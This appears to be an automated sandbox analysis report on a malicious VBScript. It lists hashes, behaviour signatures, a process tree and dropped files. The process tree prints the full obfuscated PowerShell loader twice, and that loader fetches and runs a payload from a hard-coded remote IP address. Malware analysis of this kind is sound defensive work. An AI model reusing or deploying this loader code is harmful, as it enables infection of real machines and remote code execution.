cbf4668d34f495af8ca9dd9c4d6707a77e4015d017c615c1197b6f883e1f0dc6

General

Target

cbf4668d34f495af8ca9dd9c4d6707a77e4015d017c615c1197b6f883e1f0dc6.vbs
Size

186KB
MD5

6a7eb6c5a6fc1a849ead86ffe1610e62
SHA1

11145291cde16a82e7c6011cc0b152ccf20a0e36
SHA256

cbf4668d34f495af8ca9dd9c4d6707a77e4015d017c615c1197b6f883e1f0dc6
SHA512

e2c1a6cab3e64adc434f74cbe3f1ffcc52e40e5877b99c52365d78f0d4971de11deec6df9cb4717c8c2a691fd92ace344e0c25265289ea2398ab15120492036b
SSDEEP

3072:gmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZD:g08GxbKja3+DCbKCvBB/WnHXC/sLJFJi

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1884	WScript.exe
6	2496	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2496	powershell.exe
2768	powershell.exe
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 2496	1884	WScript.exe	29
PID 1884 wrote to memory of 2496	1884	WScript.exe	29
PID 1884 wrote to memory of 2496	1884	WScript.exe	29
PID 2496 wrote to memory of 2524	2496	powershell.exe	31
PID 2496 wrote to memory of 2524	2496	powershell.exe	31
PID 2496 wrote to memory of 2524	2496	powershell.exe	31
PID 2496 wrote to memory of 2768	2496	powershell.exe	32
PID 2496 wrote to memory of 2768	2496	powershell.exe	32
PID 2496 wrote to memory of 2768	2496	powershell.exe	32
PID 2496 wrote to memory of 2768	2496	powershell.exe	32
PID 2768 wrote to memory of 1888	2768	powershell.exe	33
PID 2768 wrote to memory of 1888	2768	powershell.exe	33
PID 2768 wrote to memory of 1888	2768	powershell.exe	33
PID 2768 wrote to memory of 1888	2768	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cbf4668d34f495af8ca9dd9c4d6707a77e4015d017c615c1197b6f883e1f0dc6.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cortisols Eriophorum Ingemerete Delfunktions Intermix11 Samkrtes gastrokameraet Snobberiets Siserskite Xanthans Mellemlsningens205 Fdselshjlperens Joggendes Syrningens Shanties Grandrelle245 Centigrammet Translate personbefordringer Aedicule230 Aerialist Intellectualised Fedtcellernes Campingplads Cortisols Eriophorum Ingemerete Delfunktions Intermix11 Samkrtes gastrokameraet Snobberiets Siserskite Xanthans Mellemlsningens205 Fdselshjlperens Joggendes Syrningens Shanties Grandrelle245 Centigrammet Translate personbefordringer Aedicule230 Aerialist Intellectualised Fedtcellernes Campingplads';$Demonteringens = 1;Function Monactine($Editor){$Ginnerne=$Editor.Length-$Demonteringens;$Raagerne='SUBSTRIN';$Raagerne+='G';For( $Siggi=1;$Siggi -lt $Ginnerne;$Siggi+=2){$Cortisols+=$Editor.$Raagerne.Invoke( $Siggi, $Demonteringens);}$Cortisols;}function hellas($Waywarden){ . ($Intendencia) ($Waywarden);}$Gigantomachy=Monactine '.M o,z.iFlDl.aD/E5 .L0S ( WIi n dRo.wHsS ON,T, B1 0T. 0 ;R W iCnC6G4 ; Fxm6V4A; r,v :u1D2H1I.p0t) UGNeuc,kCo /S2T0F1C0D0S1 0 1 SF iLrAeBf.oPxP/S1 2S1P.,0. ';$theretofore=Monactine 'FU sYePrM-SAAgie n t ';$Intermix11=Monactine 'Sh,tgt p,:e/ /.1p0 3N.B1B9I5 . 2P3,7P.U4W3M/,B iAl,t.o n gS1B9D.,o,c.xF ';$Lepidospermae=Monactine 'G>P ';$Intendencia=Monactine 'DiIeSxK ';$Startparameter='Snobberiets';$Dissuades = Monactine 'He,cJh o %GaKpFp.d,a t.aO%n\.SkeSlSv h,jVl pnsGh aSnPd lKiVn g e.rQsF. D oPm, &U&H CeHc hOoD tS ';hellas (Monactine ' $,g,l.o,bJa.lC: GA=J(,cJm d T/Tc $VDBiMsMsTu.a d eOs,)S ');hellas (Monactine '.$ g,lSo bDaPlF:,D e lsfFuPn kRtMi,oSnGse= $ I.n t,eSr mMi xS1 1 . s pAl i tK(,$.L e p.i dPo sPp e.r mBa.e ) ');hellas (Monactine ' [LN e t .,S.eHrDvAiAc e Pto i,nCt.M a n,a.gNeBr ] :S:ASUeScAuPr,iHtSy P rDo.t,o c,oBlO R=, ,[FN e t .,S.e,c,u,rFi t,yTPRr ortDoGcSoPl T ykp eC],:M:OTLl sI1V2P ');$Intermix11=$Delfunktions[0];$Thirstle= (Monactine '.$ gAl,oBbaa.l :.PFh.a rRmRaBcTi,sat.= NSeOwS- Osb.j.eTc tT .S yTsStNeGm.. N,e,tL.PW,eJbUC.l.iAeCnBt');$Thirstle+=$G[1];hellas ($Thirstle);hellas (Monactine ' $UPKhTaur m,atcRifs tK.LHHeSaLd e r s [ $ t h etrPeTt oPf oNr,e ] = $SG iggBaPnJtUo,m a cUh y ');$Udlgstidspunktets=Monactine ' $DP,h a.rTm.a cKi,s t .,DBo,wTnAlHoCa.dJF iBlBeT(B$SIMnTtDeTrBmRiPx 1.1,, $,I nTtRePl l e.cSt u,a l,iDs.eCdS)D ';$Intellectualised=$G[0];hellas (Monactine ' $Bg.lCoDbPa lU:VURnUp.l,a cSiBdC=u(,TDe,sTt,-,PMaDtEh U$ ILnAtreMl,lueEc.t.u aKl,iUs eAd )A ');while (!$Unplacid) {hellas (Monactine ' $Ng l.oHbSa l :RRLe,uOn iso nPsF=,$KtBr.uke, ') ;hellas $Udlgstidspunktets;hellas (Monactine 'sSjtTa r t,- SPl.e e p. ,4U ');hellas (Monactine 'O$Dg.lToSbSaTlK:SU nIp,lOaPc,i d,= (.T e s.t -sPsaft hO $,I nctAe lAl e c tLu a lSi s,e.d ) ') ;hellas (Monactine 'K$BgIlAoNbLaBl,:CIUn.gMeImVe rMe.t,eF=E$ gTl o.b a lT:,EMr isoCpShPo rLu mA+ +H%P$ DMe l.fCu.n k t i,oMnUsP. cFoSuFn.t ') ;$Intermix11=$Delfunktions[$Ingemerete];}$Tenderest=318607;$Gyromele=26000;hellas (Monactine '.$Yg lKo bAa l.:LSRi s e,rPsRk iDtKeO ,=S HGSe t -BC,orn t.ePnStT N$RI,nbtBefl lWeFc tUu aBl iUs e d ');hellas (Monactine 'U$,g l oIbAa,lA:OT e.r pNe r i s. U=O [ S yCs t e mA. CWosnLv.eSr.t,]R:S: FJr o m,B a sse.6,4CS tKr,iLn,gR(A$sS i.sSeRr sLkIi tSeW) ');hellas (Monactine ' $Bg lTo b a.l :,FIdBs eBlDsNh jClHpUeSrTe nOsL P=l [,SFy sAt,eBm ..Tbe xAtM.,E n cEoOdLiAn gt]i: :FA S,C,IuI..pGCe t.S tAr,i n gB(.$ST e r pIebrsi.sS) ');hellas (Monactine ' $Sg,lBo,b a lI:SABrTv t a.gSeBrTe.rLnPe,sL=G$MFHd,s e,l,s h j l p eDr.eAn s.. sTuAbDsPtOr iFnHg ( $ TCe nfdfeQr.eSsmtH,,$PGNy rLoPmKeVl eE) ');hellas $Arvtagerernes;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Selvhjlpshandlingers.Dom && echo t"
    3⤵
    PID:2524
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cortisols Eriophorum Ingemerete Delfunktions Intermix11 Samkrtes gastrokameraet Snobberiets Siserskite Xanthans Mellemlsningens205 Fdselshjlperens Joggendes Syrningens Shanties Grandrelle245 Centigrammet Translate personbefordringer Aedicule230 Aerialist Intellectualised Fedtcellernes Campingplads Cortisols Eriophorum Ingemerete Delfunktions Intermix11 Samkrtes gastrokameraet Snobberiets Siserskite Xanthans Mellemlsningens205 Fdselshjlperens Joggendes Syrningens Shanties Grandrelle245 Centigrammet Translate personbefordringer Aedicule230 Aerialist Intellectualised Fedtcellernes Campingplads';$Demonteringens = 1;Function Monactine($Editor){$Ginnerne=$Editor.Length-$Demonteringens;$Raagerne='SUBSTRIN';$Raagerne+='G';For( $Siggi=1;$Siggi -lt $Ginnerne;$Siggi+=2){$Cortisols+=$Editor.$Raagerne.Invoke( $Siggi, $Demonteringens);}$Cortisols;}function hellas($Waywarden){ . ($Intendencia) ($Waywarden);}$Gigantomachy=Monactine '.M o,z.iFlDl.aD/E5 .L0S ( WIi n dRo.wHsS ON,T, B1 0T. 0 ;R W iCnC6G4 ; Fxm6V4A; r,v :u1D2H1I.p0t) UGNeuc,kCo /S2T0F1C0D0S1 0 1 SF iLrAeBf.oPxP/S1 2S1P.,0. ';$theretofore=Monactine 'FU sYePrM-SAAgie n t ';$Intermix11=Monactine 'Sh,tgt p,:e/ /.1p0 3N.B1B9I5 . 2P3,7P.U4W3M/,B iAl,t.o n gS1B9D.,o,c.xF ';$Lepidospermae=Monactine 'G>P ';$Intendencia=Monactine 'DiIeSxK ';$Startparameter='Snobberiets';$Dissuades = Monactine 'He,cJh o %GaKpFp.d,a t.aO%n\.SkeSlSv h,jVl pnsGh aSnPd lKiVn g e.rQsF. D oPm, &U&H CeHc hOoD tS ';hellas (Monactine ' $,g,l.o,bJa.lC: GA=J(,cJm d T/Tc $VDBiMsMsTu.a d eOs,)S ');hellas (Monactine '.$ g,lSo bDaPlF:,D e lsfFuPn kRtMi,oSnGse= $ I.n t,eSr mMi xS1 1 . s pAl i tK(,$.L e p.i dPo sPp e.r mBa.e ) ');hellas (Monactine ' [LN e t .,S.eHrDvAiAc e Pto i,nCt.M a n,a.gNeBr ] :S:ASUeScAuPr,iHtSy P rDo.t,o c,oBlO R=, ,[FN e t .,S.e,c,u,rFi t,yTPRr ortDoGcSoPl T ykp eC],:M:OTLl sI1V2P ');$Intermix11=$Delfunktions[0];$Thirstle= (Monactine '.$ gAl,oBbaa.l :.PFh.a rRmRaBcTi,sat.= NSeOwS- Osb.j.eTc tT .S yTsStNeGm.. N,e,tL.PW,eJbUC.l.iAeCnBt');$Thirstle+=$G[1];hellas ($Thirstle);hellas (Monactine ' $UPKhTaur m,atcRifs tK.LHHeSaLd e r s [ $ t h etrPeTt oPf oNr,e ] = $SG iggBaPnJtUo,m a cUh y ');$Udlgstidspunktets=Monactine ' $DP,h a.rTm.a cKi,s t .,DBo,wTnAlHoCa.dJF iBlBeT(B$SIMnTtDeTrBmRiPx 1.1,, $,I nTtRePl l e.cSt u,a l,iDs.eCdS)D ';$Intellectualised=$G[0];hellas (Monactine ' $Bg.lCoDbPa lU:VURnUp.l,a cSiBdC=u(,TDe,sTt,-,PMaDtEh U$ ILnAtreMl,lueEc.t.u aKl,iUs eAd )A ');while (!$Unplacid) {hellas (Monactine ' $Ng l.oHbSa l :RRLe,uOn iso nPsF=,$KtBr.uke, ') ;hellas $Udlgstidspunktets;hellas (Monactine 'sSjtTa r t,- SPl.e e p. ,4U ');hellas (Monactine 'O$Dg.lToSbSaTlK:SU nIp,lOaPc,i d,= (.T e s.t -sPsaft hO $,I nctAe lAl e c tLu a lSi s,e.d ) ') ;hellas (Monactine 'K$BgIlAoNbLaBl,:CIUn.gMeImVe rMe.t,eF=E$ gTl o.b a lT:,EMr isoCpShPo rLu mA+ +H%P$ DMe l.fCu.n k t i,oMnUsP. cFoSuFn.t ') ;$Intermix11=$Delfunktions[$Ingemerete];}$Tenderest=318607;$Gyromele=26000;hellas (Monactine '.$Yg lKo bAa l.:LSRi s e,rPsRk iDtKeO ,=S HGSe t -BC,orn t.ePnStT N$RI,nbtBefl lWeFc tUu aBl iUs e d ');hellas (Monactine 'U$,g l oIbAa,lA:OT e.r pNe r i s. U=O [ S yCs t e mA. CWosnLv.eSr.t,]R:S: FJr o m,B a sse.6,4CS tKr,iLn,gR(A$sS i.sSeRr sLkIi tSeW) ');hellas (Monactine ' $Bg lTo b a.l :,FIdBs eBlDsNh jClHpUeSrTe nOsL P=l [,SFy sAt,eBm ..Tbe xAtM.,E n cEoOdLiAn gt]i: :FA S,C,IuI..pGCe t.S tAr,i n gB(.$ST e r pIebrsi.sS) ');hellas (Monactine ' $Sg,lBo,b a lI:SABrTv t a.gSeBrTe.rLnPe,sL=G$MFHd,s e,l,s h j l p eDr.eAn s.. sTuAbDsPtOr iFnHg ( $ TCe nfdfeQr.eSsmtH,,$PGNy rLoPmKeVl eE) ');hellas $Arvtagerernes;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2768
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Selvhjlpshandlingers.Dom && echo t"
      4⤵
      PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PCZAS5TTLK81L8IXHDV8.temp

Filesize
7KB

MD5
b55c2edaba3a33463ab105687213ec01

SHA1
f64d074e7b9f1158fafcc893b9bfc23af430e041

SHA256
68b9a73017b6456143ec73ce2b71d9ed2f973dae78b7e9311fe41794f9e77d0a

SHA512
e7f7c898f653dbaaf6f7bc5813539580702ea8923e30760144a50791f347efca5f04f171ae531560e56996889e3c77648f4693481900a96d5ef2f65eebc305f7

Download Submit
C:\Users\Admin\AppData\Roaming\Selvhjlpshandlingers.Dom

Filesize
448KB

MD5
062ff0116080a9c05110288c2e4c4b54

SHA1
d735e56e27a4c9287ff5e33e536bf3220339a5d9

SHA256
9551e29da898889090ffa8d923824c5b405d6c1f058d47985e8168e2ac9b817a

SHA512
8973851c4f370955be119bd6a9ecbcb701aed06e01186e98ddbcc843baf7bffc8aba5579c4b3ee58e94de71c6c5d6b51982eba30441f2062fcdb7d96f159f7f6

Download Submit
memory/2496-22-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2496-21-0x000007FEF544E000-0x000007FEF544F000-memory.dmp

Filesize
4KB

Download
memory/2496-25-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-26-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-27-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-28-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-30-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-23-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2496-24-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-35-0x000007FEF544E000-0x000007FEF544F000-memory.dmp

Filesize
4KB

Download
memory/2496-36-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2768-37-0x0000000006630000-0x000000000B831000-memory.dmp

Filesize
82.0MB

Download

Analysis

Sharing